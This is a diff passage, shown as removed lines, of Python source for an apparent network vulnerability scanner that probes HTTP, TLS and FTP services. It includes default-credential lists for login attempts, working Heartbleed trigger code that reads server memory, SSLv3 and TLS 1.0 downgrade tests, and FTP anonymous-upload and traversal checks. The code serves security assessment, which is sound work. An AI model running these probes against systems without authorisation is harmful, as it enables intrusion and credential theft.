- if "directory listing" in body.lower() or "
  • (.*?)", body[:5000], _re.IGNORECASE | _re.DOTALL) - if title_m: - result["title"] = title_m.group(1).strip()[:100] - else: - result["banner"] = "(empty reply)" - findings.append(Finding( - severity=Severity.INFO, - title="HTTP service returns empty reply", - description=f"TCP port {port} accepts connections but the server " - "closes without sending any HTTP response data.", - evidence=f"Raw socket to {target}:{port} — connected OK, received 0 bytes.", - remediation="Investigate why the server sends empty replies; " - "verify proxy/upstream configuration.", - cwe_id="CWE-200", - confidence="certain", - )) - except Exception: - return probe_error(target, port, "HTTP", e) - return probe_result(raw_data=result, findings=findings) - - # --- 2. Dangerous HTTP methods --- - dangerous = [] - for method in ("TRACE", "PUT", "DELETE"): - try: - r = requests.request(method, url, timeout=3, verify=False) - if r.status_code < 400: - dangerous.append(method) - except Exception: - pass - - result["dangerous_methods"] = dangerous - if "TRACE" in dangerous: - findings.append(Finding( - severity=Severity.MEDIUM, - title="HTTP TRACE method enabled (cross-site tracing / XST attack vector).", - description="TRACE echoes request bodies back, enabling cross-site tracing attacks.", - evidence=f"TRACE {url} returned status < 400.", - remediation="Disable the TRACE method in the web server configuration.", - owasp_id="A05:2021", - cwe_id="CWE-693", - confidence="certain", - )) - if "PUT" in dangerous: - findings.append(Finding( - severity=Severity.HIGH, - title="HTTP PUT method enabled (potential unauthorized file upload).", - description="The PUT method allows uploading files to the server.", - evidence=f"PUT {url} returned status < 400.", - remediation="Disable the PUT method or restrict it to authenticated users.", - owasp_id="A01:2021", - cwe_id="CWE-749", - confidence="certain", - )) - if "DELETE" in dangerous: - findings.append(Finding( - severity=Severity.HIGH, - title="HTTP DELETE method enabled (potential unauthorized file deletion).", - description="The DELETE method allows removing resources from the server.", - evidence=f"DELETE {url} returned status < 400.", - remediation="Disable the DELETE method or restrict it to authenticated users.", - owasp_id="A01:2021", - cwe_id="CWE-749", - confidence="certain", - )) - - return probe_result(raw_data=result, findings=findings) - - - def _service_info_http_alt(self, target, port): # default port: 8080 - """ - Probe alternate HTTP port 8080 for verbose banners. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - # Skip standard HTTP ports — they are covered by _service_info_http. - if port in (80, 443): - return None - - findings = [] - raw = {"banner": None, "server": None} - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(2) - sock.connect((target, port)) - ua = getattr(self, 'scanner_user_agent', '') - ua_header = f"\r\nUser-Agent: {ua}" if ua else "" - msg = "HEAD / HTTP/1.1\r\nHost: {}{}\r\n\r\n".format(target, ua_header).encode('utf-8') - sock.send(bytes(msg)) - data = sock.recv(1024).decode('utf-8', errors='ignore') - sock.close() - - if data: - # Extract status line and Server header instead of dumping raw bytes - lines = data.split("\r\n") - status_line = lines[0].strip() if lines else "unknown" - raw["banner"] = status_line - for line in lines[1:]: - if line.lower().startswith("server:"): - raw["server"] = line.split(":", 1)[1].strip() - break - - # NOTE: CVE matching intentionally omitted here — _service_info_http - # already handles CVE lookups for all HTTP ports. Emitting them here - # caused duplicate findings on non-standard ports (batch 3 dedup fix). - except Exception as e: - return probe_error(target, port, "HTTP-ALT", e) - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_https(self, target, port): # default port: 443 - """ - Collect HTTPS response banner data for TLS services. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings. - """ - findings = [] - raw = {"banner": None, "server": None} - try: - url = f"https://{target}" - if port != 443: - url = f"https://{target}:{port}" - self.P(f"Fetching {url} for banner...") - ua = getattr(self, 'scanner_user_agent', '') - headers = {'User-Agent': ua} if ua else {} - resp = requests.get(url, timeout=3, verify=False, headers=headers) - raw["banner"] = f"HTTPS {resp.status_code} {resp.reason}" - raw["server"] = resp.headers.get("Server") - if raw["server"]: - _m = _HTTP_SERVER_RE.search(raw["server"]) - if _m: - _cve_product = _HTTP_PRODUCT_MAP.get(_m.group(1).lower()) - if _cve_product: - findings += check_cves(_cve_product, _m.group(2)) - findings.append(Finding( - severity=Severity.INFO, - title=f"HTTPS service detected ({resp.status_code} {resp.reason})", - description=f"HTTPS service on {target}:{port}.", - evidence=f"Server: {raw['server'] or 'not disclosed'}", - confidence="certain", - )) - except Exception as e: - return probe_error(target, port, "HTTPS", e) - return probe_result(raw_data=raw, findings=findings) - - - # Default credentials for HTTP Basic Auth testing - _HTTP_BASIC_CREDS = [ - ("admin", "admin"), ("admin", "password"), ("admin", "1234"), - ("root", "root"), ("root", "password"), ("root", "toor"), - ("user", "user"), ("test", "test"), ("guest", "guest"), - ("admin", ""), ("tomcat", "tomcat"), ("manager", "manager"), - ] - - def _service_info_http_basic_auth(self, target, port): - """ - Test HTTP Basic Auth endpoints for default/weak credentials. - - Only runs when the target responds with 401 + WWW-Authenticate: Basic. - Tests a small set of default credential pairs. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict or None - Structured findings, or None if no Basic Auth detected. - """ - findings = [] - raw = {"basic_auth_detected": False, "tested": 0, "accepted": []} - scheme = "https" if port in (443, 8443) else "http" - base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" - - # Probe / and /admin for 401 + Basic auth - auth_url = None - realm = None - for path in ("/", "/admin", "/manager"): - try: - resp = requests.get(base_url + path, timeout=3, verify=False) - if resp.status_code == 401: - www_auth = resp.headers.get("WWW-Authenticate", "") - if "Basic" in www_auth: - auth_url = base_url + path - realm_match = _re.search(r'realm="?([^"]*)"?', www_auth, _re.IGNORECASE) - realm = realm_match.group(1) if realm_match else "unknown" - break - except Exception: - continue - - if not auth_url: - return None # No Basic auth detected — skip entirely - - raw["basic_auth_detected"] = True - raw["realm"] = realm - - # Test credentials - consecutive_401 = 0 - for username, password in self._HTTP_BASIC_CREDS: - try: - resp = requests.get(auth_url, timeout=3, verify=False, auth=(username, password)) - raw["tested"] += 1 - - if resp.status_code == 429: - break # rate limited — stop - - if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 302: - cred_str = f"{username}:{password}" if password else f"{username}:(empty)" - raw["accepted"].append(cred_str) - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"HTTP Basic Auth default credential: {cred_str}", - description=f"The web server at {auth_url} (realm: {realm}) accepted a default credential.", - evidence=f"GET {auth_url} with {cred_str} → HTTP {resp.status_code}", - remediation="Change default credentials immediately.", - owasp_id="A07:2021", - cwe_id="CWE-798", - confidence="certain", - )) - elif resp.status_code == 401: - consecutive_401 += 1 - except Exception: - break - - # No rate limiting after all attempts - if consecutive_401 >= len(self._HTTP_BASIC_CREDS) - 1: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"HTTP Basic Auth has no rate limiting ({raw['tested']} attempts accepted)", - description="The server does not rate-limit failed authentication attempts.", - evidence=f"{consecutive_401} consecutive 401 responses without rate limiting.", - remediation="Implement account lockout or rate limiting for failed auth attempts.", - owasp_id="A07:2021", - cwe_id="CWE-307", - confidence="firm", - )) - - return probe_result(raw_data=raw, findings=findings) - - - def _service_info_tls(self, target, port): - """ - Inspect TLS handshake, certificate chain, and cipher strength. - - Uses a two-pass approach: unverified connect (always gets protocol/cipher), - then verified connect (detects self-signed / chain issues). - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings with protocol, cipher, cert details. - """ - findings = [] - raw = {"protocol": None, "cipher": None, "cert_subject": None, "cert_issuer": None} - - # Pass 1: Unverified — always get protocol/cipher - proto, cipher, cert_der = self._tls_unverified_connect(target, port) - if proto is None: - return probe_error(target, port, "TLS", Exception("unverified connect failed")) - - raw["protocol"], raw["cipher"] = proto, cipher - findings += self._tls_check_protocol(proto, cipher) - - # Pass 1b: SAN parsing and signature check from DER cert - if cert_der: - san_dns, san_ips = self._tls_parse_san_from_der(cert_der) - raw["san_dns"] = san_dns - raw["san_ips"] = san_ips - for ip_str in san_ips: - try: - import ipaddress as _ipaddress - if _ipaddress.ip_address(ip_str).is_private: - self._emit_metadata("internal_ips", {"ip": ip_str, "source": f"tls_san:{port}"}) - except (ValueError, TypeError): - pass - findings += self._tls_check_signature_algorithm(cert_der) - findings += self._tls_check_validity_period(cert_der) - - # Pass 2: Verified — detect self-signed / chain issues - findings += self._tls_check_certificate(target, port, raw) - - # Pass 3: Cert content checks (expiry, default CN) - findings += self._tls_check_expiry(raw) - findings += self._tls_check_default_cn(raw) - - # Pass 4: Heartbleed (CVE-2014-0160) - heartbleed = self._tls_check_heartbleed(target, port) - if heartbleed: - findings.append(heartbleed) - - # Pass 5: Downgrade attacks (POODLE / BEAST) - findings += self._tls_check_downgrade(target, port) - - if not findings: - findings.append(Finding(Severity.INFO, f"TLS {proto} {cipher}", "TLS configuration adequate.")) - - return probe_result(raw_data=raw, findings=findings) - - def _tls_unverified_connect(self, target, port): - """Unverified TLS connect to get protocol, cipher, and DER cert.""" - try: - ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - with socket.create_connection((target, port), timeout=3) as sock: - with ctx.wrap_socket(sock, server_hostname=target) as ssock: - proto = ssock.version() - cipher_info = ssock.cipher() - cipher_name = cipher_info[0] if cipher_info else "unknown" - cert_der = ssock.getpeercert(binary_form=True) - return proto, cipher_name, cert_der - except Exception as e: - self.P(f"TLS unverified connect failed on {target}:{port}: {e}", color='y') - return None, None, None - - def _tls_check_protocol(self, proto, cipher): - """Flag obsolete TLS/SSL protocols and weak ciphers.""" - findings = [] - if proto and proto.upper() in ("SSLV2", "SSLV3", "TLSV1", "TLSV1.1"): - findings.append(Finding( - severity=Severity.HIGH, - title=f"Obsolete TLS protocol: {proto}", - description=f"Server negotiated {proto} with cipher {cipher}. " - f"SSLv2/v3 and TLS 1.0/1.1 are deprecated and vulnerable.", - evidence=f"protocol={proto}, cipher={cipher}", - remediation="Disable SSLv2/v3/TLS 1.0/1.1 and require TLS 1.2+.", - owasp_id="A02:2021", - cwe_id="CWE-326", - confidence="certain", - )) - if cipher and any(w in cipher.lower() for w in ("rc4", "des", "null", "export")): - findings.append(Finding( - severity=Severity.HIGH, - title=f"Weak TLS cipher: {cipher}", - description=f"Cipher {cipher} is considered cryptographically weak.", - evidence=f"cipher={cipher}", - remediation="Disable weak ciphers (RC4, DES, NULL, EXPORT).", - owasp_id="A02:2021", - cwe_id="CWE-327", - confidence="certain", - )) - return findings - - def _tls_check_certificate(self, target, port, raw): - """Verified TLS pass — detect self-signed, untrusted issuer, hostname mismatch.""" - findings = [] - try: - ctx = ssl.create_default_context() - with socket.create_connection((target, port), timeout=3) as sock: - with ctx.wrap_socket(sock, server_hostname=target) as ssock: - cert = ssock.getpeercert() - subj = dict(x[0] for x in cert.get("subject", ())) - issuer = dict(x[0] for x in cert.get("issuer", ())) - raw["cert_subject"] = subj.get("commonName") - raw["cert_issuer"] = issuer.get("organizationName") or issuer.get("commonName") - raw["cert_not_after"] = cert.get("notAfter") - except ssl.SSLCertVerificationError as e: - err_msg = str(e).lower() - if "self-signed" in err_msg or "self signed" in err_msg: - findings.append(Finding( - severity=Severity.MEDIUM, - title="Self-signed TLS certificate", - description="The server presents a self-signed certificate that browsers will reject.", - evidence=str(e), - remediation="Replace with a certificate from a trusted CA.", - owasp_id="A02:2021", - cwe_id="CWE-295", - confidence="certain", - )) - elif "hostname mismatch" in err_msg: - findings.append(Finding( - severity=Severity.MEDIUM, - title="TLS certificate hostname mismatch", - description=f"Certificate CN/SAN does not match {target}.", - evidence=str(e), - remediation="Ensure the certificate covers the served hostname.", - owasp_id="A02:2021", - cwe_id="CWE-295", - confidence="certain", - )) - else: - findings.append(Finding( - severity=Severity.MEDIUM, - title="TLS certificate validation failed", - description="Certificate chain could not be verified.", - evidence=str(e), - remediation="Use a certificate from a trusted CA with a valid chain.", - owasp_id="A02:2021", - cwe_id="CWE-295", - confidence="firm", - )) - except Exception: - pass # Non-cert errors (connection reset, etc.) — skip - return findings - - def _tls_check_expiry(self, raw): - """Check certificate expiry from raw dict.""" - findings = [] - expires = raw.get("cert_not_after") - if not expires: - return findings - try: - exp = datetime.strptime(expires, "%b %d %H:%M:%S %Y %Z") - days = (exp - datetime.utcnow()).days - raw["cert_days_remaining"] = days - if days < 0: - findings.append(Finding( - severity=Severity.HIGH, - title=f"TLS certificate expired ({-days} days ago)", - description="The certificate has already expired.", - evidence=f"notAfter={expires}", - remediation="Renew the certificate immediately.", - owasp_id="A02:2021", - cwe_id="CWE-298", - confidence="certain", - )) - elif days <= 30: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"TLS certificate expiring soon ({days} days)", - description=f"Certificate expires in {days} days.", - evidence=f"notAfter={expires}", - remediation="Renew the certificate before expiry.", - owasp_id="A02:2021", - cwe_id="CWE-298", - confidence="certain", - )) - except Exception: - pass - return findings - - def _tls_check_default_cn(self, raw): - """Flag placeholder common names.""" - findings = [] - cn = raw.get("cert_subject") - if not cn: - return findings - cn_lower = cn.lower() - placeholders = ("example.com", "localhost", "internet widgits", "test", "changeme", "my company", "acme", "default") - if any(p in cn_lower for p in placeholders) or len(cn.strip()) <= 1: - findings.append(Finding( - severity=Severity.LOW, - title=f"TLS certificate placeholder CN: {cn}", - description="Certificate uses a default/placeholder common name.", - evidence=f"CN={cn}", - remediation="Replace with a certificate bearing the correct hostname.", - owasp_id="A02:2021", - cwe_id="CWE-295", - confidence="firm", - )) - return findings - - def _tls_parse_san_from_der(self, cert_der): - """Parse SAN DNS names and IP addresses from a DER-encoded certificate.""" - dns_names, ip_addresses = [], [] - if not cert_der: - return dns_names, ip_addresses - try: - from cryptography import x509 - cert = x509.load_der_x509_certificate(cert_der) - try: - san_ext = cert.extensions.get_extension_for_class(x509.SubjectAlternativeName) - dns_names = san_ext.value.get_values_for_type(x509.DNSName) - ip_addresses = [str(ip) for ip in san_ext.value.get_values_for_type(x509.IPAddress)] - except x509.ExtensionNotFound: - pass - except Exception: - pass - return dns_names, ip_addresses - - def _tls_check_signature_algorithm(self, cert_der): - """Flag SHA-1 or MD5 signature algorithms.""" - findings = [] - if not cert_der: - return findings - try: - from cryptography import x509 - from cryptography.hazmat.primitives import hashes - cert = x509.load_der_x509_certificate(cert_der) - algo = cert.signature_hash_algorithm - if algo and isinstance(algo, (hashes.SHA1, hashes.MD5)): - algo_name = algo.name.upper() - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"TLS certificate signed with weak algorithm: {algo_name}", - description=f"The certificate uses {algo_name} for its signature, which is cryptographically weak.", - evidence=f"signature_algorithm={algo_name}", - remediation="Replace with a certificate using SHA-256 or stronger.", - owasp_id="A02:2021", - cwe_id="CWE-327", - confidence="certain", - )) - except Exception: - pass - return findings - - def _tls_check_validity_period(self, cert_der): - """Flag certificates with a total validity span >5 years (CA/Browser Forum violation).""" - findings = [] - if not cert_der: - return findings - try: - from cryptography import x509 - cert = x509.load_der_x509_certificate(cert_der) - span = cert.not_valid_after_utc - cert.not_valid_before_utc - if span.days > 5 * 365: - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"TLS certificate validity span exceeds 5 years ({span.days} days)", - description="Certificates valid for more than 5 years violate CA/Browser Forum baseline requirements.", - evidence=f"not_before={cert.not_valid_before_utc}, not_after={cert.not_valid_after_utc}, span={span.days}d", - remediation="Reissue with a validity period of 398 days or less.", - owasp_id="A02:2021", - cwe_id="CWE-298", - confidence="certain", - )) - except Exception: - pass - return findings - - - def _tls_check_heartbleed(self, target, port): - """Test for Heartbleed (CVE-2014-0160) by sending a malformed TLS heartbeat. - - Builds a raw TLS connection, completes handshake, then sends a heartbeat - request with payload_length > actual payload. If the server responds with - more data than sent, it is leaking memory. - - Returns - ------- - Finding or None - CRITICAL finding if vulnerable, None otherwise. - """ - try: - # Connect and perform TLS handshake via ssl module - ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - # Allow older protocols for compatibility with vulnerable servers - ctx.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED - - raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - raw_sock.settimeout(3) - raw_sock.connect((target, port)) - tls_sock = ctx.wrap_socket(raw_sock, server_hostname=target) - - # Get the negotiated TLS version for the heartbeat record - tls_version = tls_sock.version() - version_map = { - "TLSv1": b"\x03\x01", "TLSv1.1": b"\x03\x02", - "TLSv1.2": b"\x03\x03", "TLSv1.3": b"\x03\x03", - "SSLv3": b"\x03\x00", - } - tls_ver_bytes = version_map.get(tls_version, b"\x03\x01") - - # Build heartbeat request (ContentType=24, HeartbeatMessageType=1=request) - # payload_length is set to 16384 but actual payload is only 1 byte - # This is the essence of the Heartbleed attack: asking for more data than sent - hb_payload = b"\x01" # 1 byte actual payload - hb_msg = ( - b"\x01" # HeartbeatMessageType: request - + b"\x40\x00" # payload_length: 16384 (0x4000) - + hb_payload # actual payload: 1 byte - + b"\x00" * 16 # padding (16 bytes) - ) - - # TLS record: ContentType=24 (Heartbeat), version, length - tls_record = ( - b"\x18" # ContentType: Heartbeat - + tls_ver_bytes # TLS version - + struct.pack(">H", len(hb_msg)) - + hb_msg - ) - - # Send via the underlying raw socket (bypassing ssl module) - # We need to access the raw socket after handshake - # The ssl wrapper doesn't let us send raw records, so use raw_sock. - # After wrap_socket, raw_sock is consumed. Instead, use tls_sock.unwrap() - # to get the raw socket back. - try: - raw_after = tls_sock.unwrap() - raw_after.sendall(tls_record) - raw_after.settimeout(3) - response = raw_after.recv(65536) - raw_after.close() - except (ssl.SSLError, OSError): - # If unwrap fails, try closing and testing with a new raw connection - tls_sock.close() - return self._tls_heartbleed_raw(target, port, tls_ver_bytes) - - if response and len(response) >= 7: - # Check if response is a heartbeat response (ContentType=24) - if response[0] == 24: - resp_len = struct.unpack(">H", response[3:5])[0] - # If server sent back more than we sent (3 bytes of heartbeat msg), - # it leaked memory - if resp_len > len(hb_msg): - return Finding( - severity=Severity.CRITICAL, - title="TLS Heartbleed vulnerability (CVE-2014-0160)", - description=f"Server at {target}:{port} is vulnerable to Heartbleed. " - "An attacker can read up to 64KB of server memory per request, " - "potentially exposing private keys, session tokens, and passwords.", - evidence=f"Heartbeat response size ({resp_len} bytes) > request payload size ({len(hb_msg)} bytes). " - f"Leaked {resp_len - len(hb_msg)} bytes of server memory.", - remediation="Upgrade OpenSSL to 1.0.1g or later and regenerate all private keys and certificates.", - owasp_id="A06:2021", - cwe_id="CWE-126", - confidence="certain", - ) - # TLS Alert (ContentType=21) = not vulnerable (server rejected heartbeat) - elif response[0] == 21: - return None - - except Exception: - pass - return None - - def _tls_heartbleed_raw(self, target, port, tls_ver_bytes): - """Fallback Heartbleed test using a raw TLS ClientHello with heartbeat extension. - - This is needed when ssl.unwrap() fails. We build a minimal TLS 1.0 - ClientHello that advertises the heartbeat extension, complete the handshake, - and then send the malformed heartbeat. - - Returns - ------- - Finding or None - """ - try: - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(5) - sock.connect((target, port)) - - # Minimal TLS 1.0 ClientHello with heartbeat extension - # This is a simplified approach: we use struct to build the exact bytes - hello = bytearray() - # Handshake header: ClientHello (0x01) - # Random: 32 bytes - client_random = random.randbytes(32) - # Session ID: 0 bytes - # Cipher suites: a few common ones - ciphers = ( - b"\x00\x2f" # TLS_RSA_WITH_AES_128_CBC_SHA - b"\x00\x35" # TLS_RSA_WITH_AES_256_CBC_SHA - b"\x00\x0a" # TLS_RSA_WITH_3DES_EDE_CBC_SHA - ) - # Compression: null only - compression = b"\x01\x00" - # Extensions: heartbeat (type 0x000f, length 1, mode=1 peer allowed to send) - heartbeat_ext = struct.pack(">HH", 0x000f, 1) + b"\x01" - extensions = heartbeat_ext - - client_hello_body = ( - b"\x03\x01" # TLS 1.0 - + client_random - + b"\x00" # Session ID length: 0 - + struct.pack(">H", len(ciphers)) + ciphers - + compression - + struct.pack(">H", len(extensions)) + extensions - ) - - # Handshake message: type=1 (ClientHello), length - handshake = b"\x01" + struct.pack(">I", len(client_hello_body))[1:] + client_hello_body - - # TLS record: ContentType=22 (Handshake), version=TLS 1.0 - tls_record = b"\x16\x03\x01" + struct.pack(">H", len(handshake)) + handshake - sock.sendall(tls_record) - - # Read ServerHello + Certificate + ServerHelloDone - # We just need to consume enough to complete the handshake - server_response = b"" - for _ in range(10): - try: - chunk = sock.recv(16384) - if not chunk: - break - server_response += chunk - # Check if we received ServerHelloDone (handshake type 0x0e) - if b"\x0e\x00\x00\x00" in server_response: - break - except (socket.timeout, OSError): - break - - if not server_response: - sock.close() - return None - - # Now send the malformed heartbeat - hb_msg = b"\x01\x40\x00" + b"\x41" + b"\x00" * 16 # type=request, length=16384, 1 byte payload + padding - hb_record = b"\x18\x03\x01" + struct.pack(">H", len(hb_msg)) + hb_msg - sock.sendall(hb_record) - - # Read response - sock.settimeout(3) - try: - response = sock.recv(65536) - except (socket.timeout, OSError): - response = b"" - sock.close() - - if response and len(response) >= 7 and response[0] == 24: - resp_payload_len = struct.unpack(">H", response[3:5])[0] - if resp_payload_len > len(hb_msg): - return Finding( - severity=Severity.CRITICAL, - title="TLS Heartbleed vulnerability (CVE-2014-0160)", - description=f"Server at {target}:{port} is vulnerable to Heartbleed. " - "An attacker can read up to 64KB of server memory per request, " - "potentially exposing private keys, session tokens, and passwords.", - evidence=f"Heartbeat response ({resp_payload_len} bytes) exceeded request size.", - remediation="Upgrade OpenSSL to 1.0.1g or later and regenerate all private keys and certificates.", - owasp_id="A06:2021", - cwe_id="CWE-126", - confidence="certain", - ) - except Exception: - pass - return None - - def _tls_check_downgrade(self, target, port): - """Test for TLS downgrade vulnerabilities (POODLE, BEAST). - - Returns list of findings. - """ - findings = [] - - # --- POODLE: Test SSLv3 acceptance --- - try: - ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - ctx.maximum_version = ssl.TLSVersion.SSLv3 - ctx.minimum_version = ssl.TLSVersion.SSLv3 - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - tls_sock = ctx.wrap_socket(sock, server_hostname=target) - negotiated = tls_sock.version() - tls_sock.close() - if negotiated and "SSL" in negotiated: - findings.append(Finding( - severity=Severity.HIGH, - title="Server accepts SSLv3 — vulnerable to POODLE (CVE-2014-3566)", - description=f"TLS on {target}:{port} accepts SSLv3 connections. " - "The POODLE attack allows decrypting SSLv3 traffic using CBC cipher padding oracles.", - evidence=f"Negotiated {negotiated} when SSLv3 was forced.", - remediation="Disable SSLv3 entirely on the server.", - owasp_id="A02:2021", - cwe_id="CWE-757", - confidence="certain", - )) - except (ssl.SSLError, OSError): - pass # SSLv3 rejected or not available in runtime — good - - # --- BEAST: Test TLS 1.0 with CBC cipher --- - try: - ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) - ctx.check_hostname = False - ctx.verify_mode = ssl.CERT_NONE - ctx.maximum_version = ssl.TLSVersion.TLSv1 - ctx.minimum_version = ssl.TLSVersion.TLSv1 - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(3) - sock.connect((target, port)) - tls_sock = ctx.wrap_socket(sock, server_hostname=target) - negotiated = tls_sock.version() - cipher_info = tls_sock.cipher() - tls_sock.close() - if negotiated and cipher_info: - cipher_name = cipher_info[0] if cipher_info else "" - if "CBC" in cipher_name.upper(): - findings.append(Finding( - severity=Severity.MEDIUM, - title="TLS 1.0 with CBC cipher — BEAST risk (CVE-2011-3389)", - description=f"TLS on {target}:{port} accepts TLS 1.0 with CBC-mode cipher '{cipher_name}'. " - "The BEAST attack exploits predictable IVs in TLS 1.0 CBC mode.", - evidence=f"Negotiated {negotiated} with cipher {cipher_name}.", - remediation="Disable TLS 1.0 or ensure only non-CBC ciphers are used with TLS 1.0.", - owasp_id="A02:2021", - cwe_id="CWE-327", - confidence="certain", - )) - except (ssl.SSLError, OSError): - pass # TLS 1.0 rejected — good - - return findings - - def _service_info_ftp(self, target, port): # default port: 21 - """ - Assess FTP service security: banner, anonymous access, default creds, - server fingerprint, TLS support, write access, and credential validation. - - Checks performed (in order): - - 1. Banner grab and SYST/FEAT fingerprint. - 2. Anonymous login attempt. - 3. Write access test (STOR) after anonymous login. - 4. Directory listing and traversal. - 5. TLS support check (AUTH TLS). - 6. Default credential check. - 7. Arbitrary credential acceptance test. - - Parameters - ---------- - target : str - Hostname or IP address. - port : int - Port being probed. - - Returns - ------- - dict - Structured findings with banner, vulnerabilities, server_info, etc. - """ - findings = [] - result = { - "banner": None, - "server_type": None, - "features": [], - "anonymous_access": False, - "write_access": False, - "tls_supported": False, - "accepted_credentials": [], - "directory_listing": None, - } - - def _ftp_connect(user=None, passwd=None): - """Open a fresh FTP connection and optionally login.""" - ftp = ftplib.FTP(timeout=5) - ftp.connect(target, port, timeout=5) - if user is not None: - ftp.login(user, passwd or "") - return ftp - - # --- 1. Banner grab --- - try: - ftp = _ftp_connect() - result["banner"] = ftp.getwelcome() - except Exception as e: - return probe_error(target, port, "FTP", e) - - # FTP server version CVE check - _ftp_m = _re.search( - r'(ProFTPD|vsftpd)[/ ]+(\d+(?:\.\d+)+)', - result["banner"], _re.IGNORECASE, - ) - if _ftp_m: - _cve_product = {'proftpd': 'proftpd', 'vsftpd': 'vsftpd'}.get(_ftp_m.group(1).lower()) - if _cve_product: - findings += check_cves(_cve_product, _ftp_m.group(2)) - - # --- 2. Anonymous login --- - try: - resp = ftp.login() - result["anonymous_access"] = True - findings.append(Finding( - severity=Severity.HIGH, - title="FTP allows anonymous login.", - description="The FTP server permits unauthenticated access via anonymous login.", - evidence="Anonymous login succeeded.", - remediation="Disable anonymous FTP access unless explicitly required.", - owasp_id="A07:2021", - cwe_id="CWE-287", - confidence="certain", - )) - except Exception: - # Anonymous failed — close and move on to credential tests - try: - ftp.quit() - except Exception: - pass - ftp = None - - # --- 2b. SYST / FEAT (after login — some servers require auth first) --- - if ftp: - try: - syst = ftp.sendcmd("SYST") - result["server_type"] = syst - except Exception: - pass - - try: - feat_resp = ftp.sendcmd("FEAT") - feats = [ - line.strip() for line in feat_resp.split("\n") - if line.strip() and not line.startswith("211") - ] - result["features"] = feats - except Exception: - pass - - # --- 2c. PASV IP leak check --- - if ftp and result["anonymous_access"]: - try: - pasv_resp = ftp.sendcmd("PASV") - _pasv_match = _re.search(r'\((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\)', pasv_resp) - if _pasv_match: - pasv_ip = f"{_pasv_match.group(1)}.{_pasv_match.group(2)}.{_pasv_match.group(3)}.{_pasv_match.group(4)}" - if pasv_ip != target: - import ipaddress as _ipaddress - try: - if _ipaddress.ip_address(pasv_ip).is_private: - result["pasv_ip"] = pasv_ip - self._emit_metadata("internal_ips", {"ip": pasv_ip, "source": f"ftp_pasv:{port}"}) - findings.append(Finding( - severity=Severity.MEDIUM, - title=f"FTP PASV leaks internal IP: {pasv_ip}", - description=f"PASV response reveals RFC1918 address {pasv_ip}, different from target {target}.", - evidence=f"PASV response: {pasv_resp}", - remediation="Configure FTP passive address masquerading to use the public IP.", - owasp_id="A05:2021", - cwe_id="CWE-200", - confidence="certain", - )) - except (ValueError, TypeError): - pass - except Exception: - pass - - # --- 3. Write access test (only if anonymous login succeeded) --- - if ftp and result["anonymous_access"]: - import io - try: - ftp.set_pasv(True) - test_data = io.BytesIO(b"RedMesh write access probe") - resp = ftp.storbinary("STOR __redmesh_probe.txt", test_data) - if resp and resp.startswith("226"): - result["write_access"] = True - findings.append(Finding( - severity=Severity.CRITICAL, - title="FTP anonymous write access enabled (file upload possible).", - description="Anonymous users can upload files to the FTP server.", - evidence="STOR command succeeded with anonymous session.", - remediation="Remove write permissions for anonymous FTP users.", - owasp_id="A01:2021", - cwe_id="CWE-434", - confidence="certain", - )) - try: - ftp.delete("__redmesh_probe.txt") - except Exception: - pass - except Exception: - pass - - # --- 4. Directory listing and traversal --- - if ftp: - try: - pwd = ftp.pwd() - files = [] - try: - ftp.retrlines("LIST", files.append) - except Exception: - pass - if files: - result["directory_listing"] = files[:20] - except Exception: - pass - - # Check if CWD allows directory traversal - for test_dir in ["/etc", "/var", ".."]: - try: - resp = ftp.cwd(test_dir) - if resp and (resp.startswith("250") or resp.startswith("200")): - findings.append(Finding( - severity=Severity.HIGH, - title=f"FTP directory traversal: CWD to '{test_dir}' succeeded.", - description="The FTP server allows changing to directories outside the intended root.", - evidence=f"CWD '{test_dir}' returned: {resp}", - remediation="Restrict FTP users to their home directory (chroot).", - owasp_id="A01:2021", - cwe_id="CWE-22", - confidence="certain", - )) - break - except Exception: - pass - try: - ftp.cwd("/") - except Exception: - pass - - if ftp: - try: - ftp.quit() - except Exception: - pass - - # --- 5. TLS support check --- - try: - ftp_tls = _ftp_connect() - resp = ftp_tls.sendcmd("AUTH TLS") - if resp.startswith("234"): - result["tls_supported"] = True - try: - ftp_tls.quit() - except Exception: - pass - except Exception: - if not result["tls_supported"]: - findings.append(Finding( - severity=Severity.MEDIUM, - title="FTP does not support TLS encryption (cleartext credentials).", - description="Credentials and data are transmitted in cleartext over the network.", - evidence="AUTH TLS command rejected or not supported.", - remediation="Enable FTPS (AUTH TLS) or migrate to SFTP.", - owasp_id="A02:2021", - cwe_id="CWE-319", - confidence="certain", - )) - - # --- 6. Default credential check --- - for user, passwd in _FTP_DEFAULT_CREDS: - try: - ftp_cred = _ftp_connect(user, passwd) - result["accepted_credentials"].append(f"{user}:{passwd}") - findings.append(Finding( - severity=Severity.CRITICAL, - title=f"FTP default credential accepted: {user}:{passwd}", - description="The FTP server accepted a well-known default credential.", - 